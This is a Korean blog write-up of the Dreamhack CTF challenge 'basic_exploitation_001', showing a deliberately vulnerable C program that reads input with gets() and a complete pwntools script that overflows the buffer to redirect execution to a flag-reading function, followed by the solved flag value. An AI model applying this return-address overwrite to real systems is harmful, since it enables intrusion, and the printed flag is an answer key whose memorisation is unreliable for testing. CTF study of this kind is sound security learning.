basic_exploitation_001

원상윤·2022년 6월 24일
0

dreamhack_pwnable

목록 보기
1/2

basic_exploitation_001.c

- code 확인 -

먼저, 문제를 풀기 위한 코드를 살펴보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

- 코드 설명 -

사실 alarm_handler 함수나 initialize 함수는 문제를 푸는 데에는 영향을 주지 않는 함수들이다.
간략하게 설명하자면,

  • alarm_handler : 30초가 지나면 TIME OUT을 출력하면서 프로그램 종료
  • initialize : 입출력버퍼를 모두 초기화시켜주고, alarm_handler 함수 실행

과 같다. ( 사실 별 의미 없기 때문에 문제에 영향을 주지 않는다.)
그렇다면 문제를 풀기 위해서 main 함수를 분석해보도록 하자.

main 함수

  1. Buf 배열 정의
  2. initialize
  3. Buf 입력받기
  4. 종료

다음과 같이 main 함수가 실행된다.


- Exploit -

>> target

우리의 목표는 우리에게 보이지 않는 flag 함수를 읽는 것이고, 이는 C 코드에서 read_flag 함수를 실행시켜주면 된다! 그렇다면 우리는 Buf 배열에서 Overflow를 일으켜서 main 함수의 return 주소를 read_flag 함수의 주소로 바꾸어주면 된다.

>> assembly 분석

main 함수를 assembly 코드로 compile 해보면 다음과 같은 결과가 나오게 된다.
버퍼를 총 0x80만큼 늘리고, 이 버터의 처음 부분에 buffer을 입력받게 된다. 그렇다면, 총 메모리 구조는 다음과 같이 나타낼 수 있겠다.

  • Buffer [0x80]
  • stack frame pointer (이전의 ebp 값)
  • return 주소 (다음 실행될 주소)

따라서 Buffer을 입력할 때, dummy를 0x84만큼 채워주고, return 주소에 read_flag 함수의 실행 주소를 넣어주면 되겠다.

>> checksec

checksec 명령어는 이 실행파일 내부에 어떤 보호기법들이 작용하고 있는지를 알아보는 명령어이다. 사진에 보다시피, NX 보호기법을 제외한 아무 보호기법도 걸려있지 않다.

따라서 read_flag 주소를 바로바로 넣어줄 수 있겠다.

이 보호기법들에 관해서는 나중에 포스팅할 예정이다


- code 작성 -

  • 앞으로 모든 코드들은 pwntools를 이용해서 작성할 것이다.

>> 전체 코드

from pwn import *
p = remote("host3.dreamhack.games",11707)
e = ELF("./basic_exploitation_001")

read_flag_addr = e.symbols['read_flag']

payload = b'A'*0x84
payload += p32(read_flag_addr)

p.send(payload)

p.interactive()

>> 코드 설명

먼저, 코드 초반부에 있는

from pwn import *
p = remote("host3.dreamhack.games",11707)
e = ELF("./basic_exploitation_001")

이 코드들은 단지 pwntools를 사용하고, 아래 사진에 있는 dreamhack의 서버에 접속하기 위한 작업으로, exploit에 영향을 주지는 않는다. 따라서 굳이 설명하지 않고 넘어가도록 하겠다.

따라서 그 아래의 코드들을 알아보자.

  • read_flag_addr = e.symbols['read_flag'] : read_flag의 주소를 가져옴

  • payload = b'A'*0x84 : dummy 0x84를 채워준다.

  • payload += p32(read_flag_addr) : 마지막 return 부분에 구했던 read_flag의 함수 주소를 대입한다.

  • p.send(payload) : 만든 payload를 입력해준다.

  • p.interactive() : exploit 한 상태 유지.

이렇게 볼 수 있다.

따라서 이 코드를 실행시켜주면, 원하는 대로 read_flag를 실행시킬 수 있을 것이다.
한번 실행해보자.

>> code 실행

이런 결과가 나오게 된다~!
그렇다면 문제 설명에 나와 있는 대로 flag의 값은

flag : DH{01ec06f5e1466e44f86a79444a7cd116}

가 되겠다!!

0개의 댓글